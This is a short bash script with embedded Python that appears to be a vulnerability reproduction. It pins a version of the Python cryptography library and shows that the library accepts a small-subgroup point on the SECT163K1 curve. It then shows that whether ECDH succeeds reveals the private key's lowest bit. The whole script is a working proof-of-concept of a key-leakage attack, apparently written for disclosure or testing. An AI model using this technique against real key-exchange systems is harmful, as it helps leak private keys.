#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

python3 -m pip install --user "cryptography==46.0.4" >"$LOGS/pip_install.txt" 2>&1

python3 - <<'PY' >"$LOGS/repro_output.txt" 2>&1
import sys
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend

curve = ec.SECT163K1()
# Small-subgroup point of order 2 for this curve (on-curve, cofactor>1)
pub_numbers = ec.EllipticCurvePublicNumbers(0, 1, curve)
try:
    pub = pub_numbers.public_key(default_backend())
except Exception as exc:
    print("FAIL: point rejected", exc)
    sys.exit(1)

print("accepted small-subgroup point (0,1) on SECT163K1")


def try_key(d):
    priv = ec.derive_private_key(d, curve, default_backend())
    try:
        secret = priv.exchange(ec.ECDH(), pub)
        return ("ok", secret.hex())
    except Exception as exc:
        return ("err", str(exc))

results = {}
for d in [1, 2, 3, 4]:
    status, info = try_key(d)
    results[d] = (status, info)
    print(f"d={d} status={status} info={info}")

# For order-2 points: odd private keys succeed (shared key fixed), even keys fail
odd_ok = results[1][0] == "ok" and results[3][0] == "ok"
even_err = results[2][0] == "err" and results[4][0] == "err"

if not (odd_ok and even_err):
    print("FAIL: leakage pattern not observed")
    sys.exit(1)

print("leakage demonstrated: ECDH outcome reveals private key mod 2")
PY

echo "Reproduction complete. See $LOGS/repro_output.txt"